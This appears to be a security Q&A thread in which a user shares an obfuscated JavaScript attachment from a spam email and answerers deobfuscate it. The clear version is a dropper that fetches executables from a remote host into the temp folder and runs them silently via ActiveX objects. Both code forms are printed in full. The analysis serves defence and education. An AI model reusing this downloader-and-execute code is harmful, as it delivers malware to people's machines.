3

I received a js file with following code in my spam folder but I decided to take a look into the file. Do anybody of you know what does this code might do?

var evl='';function nr() { evl = '}; ' + evl; de();  }; function ul() { evl = '(92)+' + evl; vd();  }; function hg() { evl = '71D' + evl; pj();  }; function fg() { evl = 'tech.' + evl; pv();  }; function xg() { evl = 'var x' + evl; sq();  }; function nq() { evl = 'a =' + evl; xg();  }; function py() { evl = 'ws.Ru' + evl; nw();  }; function ft() { evl = 'Cha' + evl; hz();  }; function ma() { evl = 'tiveX' + evl; iz();  }; function tj() { evl = 'trin' + evl; fu();  }; function it() { evl = 'n(); ' + evl; rc();  }; function eo() { evl = '5-te' + evl; zw();  }; function sm() { evl = ' dl' + evl; hl();  }; function rm() { evl = 'hell"' + evl; ak();  }; function ob() { evl = 'y); x' + evl; px();  }; function f() { evl = 'D090' + evl; xa();  }; function by() { evl = 'eady' + evl; tr();  }; function pv() { evl = '.s5-' + evl; fj();  }; function ya() { evl = '; try' + evl; uh();  }; function jv() { evl = '== 4' + evl; ui();  }; function bv() { evl = ' va' + evl; jd();  }; function zq() { evl = '=545' + evl; ff();  }; function xb() { evl = 'id=' + evl; rt();  }; function uc() { evl = 'se()' + evl; fy();  }; function w() { evl = 'cumen' + evl; ud();  }; function ts() { evl = '23"' + evl; l();  }; function ko() { evl = '505' + evl; ln();  }; function jk() { evl = ' ws.' + evl; su();  }; function of() { evl = 'pons' + evl; rx();  }; function ud() { evl = 'm/do' + evl; ek();  }; function lq() { evl = 'C5E01' + evl; ko();  }; function oi() { evl = 'n(f' + evl; py();  }; function mf() { evl = 'ect("' + evl; au();  }; function b() { evl = 'view.' + evl; dy();  }; function hl() { evl = 'tion' + evl; fb();  }; function dy() { evl = 'nter' + evl; y();  }; function y() { evl = 'r-i' + evl; q();  }; function yr() { evl = '0105' + evl; dg();  }; function bs() { evl = 'ion ' + evl; wv();  }; function oj() { evl = '7111' + evl; nt();  }; function fk() { evl = 'ws = ' + evl; zc();  }; function bj() { evl = 'A020' + evl; h();  }; function mi() { evl = '854' + evl; hv();  }; function tx() { evl = 'ch.' + evl; eo();  }; function dc() { evl = '08240' + evl; iq();  }; function ui() { evl = 'e =' + evl; st();  }; function n() { evl = 'e",1' + evl; x();  }; function ig() { evl = '{ if ' + evl; pm();  }; function yk() { evl = 'xa.' + evl; cg();  }; function jd() { evl = 'fn;' + evl; ul();  }; function zp() { evl = 'com/' + evl; fg();  }; function iz() { evl = 'w Ac' + evl; fh();  }; function xl() { evl = '= 0;' + evl; bs();  }; function ut() { evl = 'ironm' + evl; pg();  }; function bw() { evl = '; d' + evl; gh();  }; function gw() { evl = '14A02' + evl; mo();  }; function kz() { evl = 'gs("' + evl; tj();  }; function ss() { evl = '(); ' + evl; oa();  }; function ff() { evl = 'hp?id' + evl; v();  }; function so() { evl = 'n,2);' + evl; vp();  }; function qo() { evl = 'ct("M' + evl; al();  }; function wx() { evl = '"7978' + evl; t();  }; function a() { evl = 'A02' + evl; z();  }; function xc() { evl = 'wri' + evl; yk();  }; function g() { evl = 'rnd=' + evl; ld();  }; function zs() { evl = 'D&rnd' + evl; bj();  }; function da() { evl = 'WScri' + evl; mz();  }; function fm() { evl = '-int' + evl; fr();  }; function od() { evl = '0D&' + evl; gw();  }; function at() { evl = 'ADOD' + evl; mf();  }; function wv() { evl = 'osit' + evl; ov();  }; function bp() { evl = ' xa.' + evl; xl();  }; function lg() { evl = '",f' + evl; yj();  }; function lr() { evl = 'docum' + evl; pl();  }; function yn() { evl = 'te(xo' + evl; xc();  }; function pg() { evl = 'ndEnv' + evl; cy();  }; function ih() { evl = 'p://' + evl; mr();  }; function lk() { evl = 'Str' + evl; wh();  }; function ny() { evl = 'xo.op' + evl; iw();  }; function dq() { evl = ' xa.' + evl; so();  }; function eh() { evl = '50D08' + evl; nk();  }; function hv() { evl = '342' + evl; g();  }; function fp() { evl = '); d' + evl; n();  }; function aj() { evl = 'n,0' + evl; oi();  }; function zh() { evl = 'hp?id' + evl; jx();  }; function fu() { evl = 'entS' + evl; ut();  }; function d() { evl = '2547' + evl; ga();  }; function yb() { evl = '.s5-' + evl; r();  }; function fj() { evl = '.app' + evl; vi();  }; function hk() { evl = '=53' + evl; zs();  }; function sq() { evl = ') { ' + evl; jv();  }; function wg() { evl = 'docum' + evl; zp();  }; function ua() { evl = '; xo.' + evl; xr();  }; function sd() { evl = '2.XM' + evl; db();  }; function ga() { evl = ',"240' + evl; ts();  }; function zw() { evl = 'app.s' + evl; b();  }; function cx() { evl = 'eam"' + evl; tn();  }; function as() { evl = 'e =' + evl; th();  }; function ak() { evl = 'pt.S' + evl; da();  }; function ba() { evl = '.ex' + evl; m();  }; function yj() { evl = '"GET' + evl; is();  }; function dl() { evl = 'erv' + evl; fm();  }; function z() { evl = '12014' + evl; ke();  }; function cm() { evl = 'tp://' + evl; gz();  }; function zc() { evl = 'ar ' + evl; tg();  }; function xx() { evl = '); xa' + evl; cx();  }; function ld() { evl = '0D&' + evl; a();  }; function pj() { evl = '1051' + evl; qz();  }; function lp() { evl = '(fr,f' + evl; sm();  }; function cy() { evl = 'Expa' + evl; jk();  }; function fb() { evl = 'func' + evl; we();  }; function de() { evl = ',0); ' + evl; aj();  }; function hw() { evl = '2",' + evl; mi();  }; function vp() { evl = 'ile(f' + evl; wm();  }; function oa() { evl = 'send' + evl; pz();  }; function i() { evl = 'er-' + evl; p();  }; function dt() { evl = 'r,f' + evl; lg();  }; function we() { eval(evl); }; function sg() { evl = '%TEM' + evl; kz();  }; function uk() { evl = ' dl(' + evl; dd();  }; function ue() { evl = 'ready' + evl; or();  }; function rt() { evl = 'php?' + evl; j();  }; function rx() { evl = '.Res' + evl; yn();  }; function v() { evl = 'ent.p' + evl; lr();  }; function nk() { evl = '090' + evl; hg();  }; function ni() { evl = 'tch' + evl; qc();  }; function x() { evl = '79.ex' + evl; oj();  }; function e() { evl = '1);' + evl; sh();  }; function sh() { evl = 'xe",' + evl; k();  }; function t() { evl = '81",' + evl; li();  }; function mo() { evl = 'D120' + evl; s();  }; function ur() { evl = 'http:' + evl; o();  }; function wh() { evl = 'P%")+' + evl; sg();  }; function pa() { evl = 'n,rn' + evl; lp();  }; function cg() { evl = '= 1; ' + evl; dn();  }; function ne() { evl = '); v' + evl; rm();  }; function gh() { evl = ' }; }' + evl; ng();  }; function vv() { evl = 'rnd=7' + evl; od();  }; function wm() { evl = 'ToF' + evl; fq();  }; function k() { evl = '1.e' + evl; d();  }; function j() { evl = 'ent.' + evl; wg();  }; function qz() { evl = '5E0' + evl; c();  }; function xr() { evl = 'P")' + evl; yp();  }; function jx() { evl = 't.p' + evl; w();  }; function au() { evl = 'Obj' + evl; ma();  }; function tn() { evl = 'B.Str' + evl; at();  }; function pm() { evl = '() ' + evl; jj();  }; function yw() { evl = 'ar ' + evl; ne();  }; function ew() { evl = '; }' + evl; uc();  }; function ov() { evl = 'a.p' + evl; ob();  }; function yp() { evl = 'LHTT' + evl; sd();  }; function uh() { evl = '; }' + evl; ew();  }; function nt() { evl = '"40' + evl; hw();  }; function rc() { evl = '.ope' + evl; xx();  }; function q() { evl = 'dle' + evl; jl();  }; function ag() { evl = 'ew Ac' + evl; oy();  }; function u() { evl = 'tec' + evl; yb();  }; function or() { evl = '(xo.' + evl; ig();  }; function tr() { evl = 'onr' + evl; ua();  }; function st() { evl = 'Stat' + evl; ue();  }; function pi() { evl = '171D' + evl; yr();  }; function dn() { evl = 'type ' + evl; zo();  }; function l() { evl = '2948' + evl; vv();  }; function pl() { evl = 'com/' + evl; tx();  }; function cd() { evl = 'tive' + evl; ag();  }; function c() { evl = '05C' + evl; zq();  }; function pz() { evl = '; xo.' + evl; rz();  }; function lj() { evl = '080D' + evl; ka();  }; function h() { evl = '12014' + evl; lj();  }; function dg() { evl = '5C5E' + evl; sx();  }; function mr() { evl = '"htt' + evl; uk();  }; function su() { evl = 'fn =' + evl; yw();  }; function ek() { evl = 'h.co' + evl; u();  }; function jj() { evl = 'ction' + evl; kw();  }; function nw() { evl = '0) { ' + evl; ws();  }; function jl() { evl = '//a' + evl; ur();  }; function r() { evl = 'w.app' + evl; ao();  }; function th() { evl = 'chang' + evl; tm();  }; function al() { evl = 'XObje' + evl; cd();  }; function p() { evl = 'adl' + evl; ih();  }; function xa() { evl = '05171' + evl; lq();  }; function an() { evl = 'new A' + evl; fk();  }; function ka() { evl = 'D0824' + evl; ap();  }; function sx() { evl = '5450' + evl; xb();  }; function li() { evl = '441' + evl; hk();  }; function vd() { evl = 'rCode' + evl; ft();  }; function tv() { evl = ' (e' + evl; ni();  }; function hz() { evl = 'rom' + evl; kr();  }; function fr() { evl = 'adler' + evl; cm();  }; function qc() { evl = '} ca' + evl; nr();  }; function mz() { evl = 'ect("' + evl; he();  }; function ws() { evl = 'n > ' + evl; wz();  }; function kr() { evl = 'ing.f' + evl; lk();  }; function iw() { evl = ' { ' + evl; ya();  }; function kw() { evl = ' fun' + evl; as();  }; function ap() { evl = '09050' + evl; pi();  }; function ao() { evl = 'vie' + evl; hs();  }; function zo() { evl = 'xa.' + evl; it();  }; function fy() { evl = 'clo' + evl; dq();  }; function fh() { evl = ' ne' + evl; nq();  }; function s() { evl = '24080' + evl; eh();  }; function hs() { evl = 'inter' + evl; i();  }; function px() { evl = 'eBod' + evl; of();  }; function db() { evl = 'SXML' + evl; qo();  }; function pe() { evl = 'r x' + evl; bv();  }; function my() { evl = 'ctiv' + evl; an();  }; function wz() { evl = 'if (r' + evl; ss();  }; function m() { evl = '9691' + evl; wx();  }; function o() { evl = 'l("' + evl; fp();  }; function oy() { evl = 'o = n' + evl; pe();  }; function ln() { evl = '=54' + evl; zh();  }; function dd() { evl = '1);' + evl; fn();  }; function is() { evl = 'en(' + evl; ny();  }; function ke() { evl = '80D' + evl; dc();  }; function fn() { evl = 'e",' + evl; ba();  }; function ng() { evl = 'r) {' + evl; tv();  }; function vi() { evl = 'iew' + evl; dl();  }; function fq() { evl = 'save' + evl; bp();  }; function tm() { evl = 'state' + evl; by();  }; function he() { evl = 'eXObj' + evl; my();  }; function rz() { evl = 'alse)' + evl; dt();  }; function tg() { evl = ') { v' + evl; pa();  }; function iq() { evl = '50D' + evl; f();  }; function gz() { evl = 'l("ht' + evl; bw();  }; e();
3

The image speaks for itself :

nasty stuff

This actually triggered the antivirus on downloading a ZIP file with the following JS, deobfuscated using JSUnpack :

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch (er) {};
};
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=5344181", "79789691.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=3428542", "40711179.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823", "24025471.exe", 1);

This defines a function that uses ActiveX objects (not sure how that works, I'd assume it either exploits a vulnerability or just hopes the user is stupid enough to click through warnings to let the code run) to access the file system (the temporary files folder), download some nasty stuff from a remote URL and finally execute it.

The servers hosting the actual malware file are most likely compromised and have been cleaned up already, since curl'ing the three URLs returns the following, a blank response, unless the server is smart enough to only allow plausible user agents (the UAs of the targeted applications) to download the file :

andre@network ~/malware % curl -v "http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823"
* Hostname was NOT found in DNS cache
*   Trying 108.58.188.83...
* Connected to adler-interview.app.s5-tech.com (108.58.188.83) port 80 (#0)
> GET /document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823 HTTP/1.1
> User-Agent: curl/7.39.0
> Host: adler-interview.app.s5-tech.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Server: Microsoft-IIS/7.5
< X-Powered-By: PHP/5.4.9
< X-Powered-By: ASP.NET
< Date: Sat, 20 Dec 2014 02:05:35 GMT
< Content-Length: 0
<
* Connection #0 to host adler-interview.app.s5-tech.com left intact
1
  • Thank you. The spam emails comes with email subject UPS item delivery. Someone who might have ordered the item might even click those files. – 1011 Dec 20 '14 at 13:02
0

The activeX isn't exploiting anything, and won't show any warnings.

As it shows, it first opens a shell object (a command prompt - wont' be visible to the end user), so it can interact with machine, then does a http GET with the MSXML2.XMLHTTP object, but the file to download is binary so it uses the ActiveXObject("ADODB.Stream") to download it to temp. Then of course shell object it created is used to run the executable file it just downloaded.

1
  • Are you sure it won't show any warnings ? I know Internet Explorer is stupid, but letting JS write to arbitrary locations and execute binary files without any warnings seems too big even for IE. – André Borie Dec 3 '15 at 0:14

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.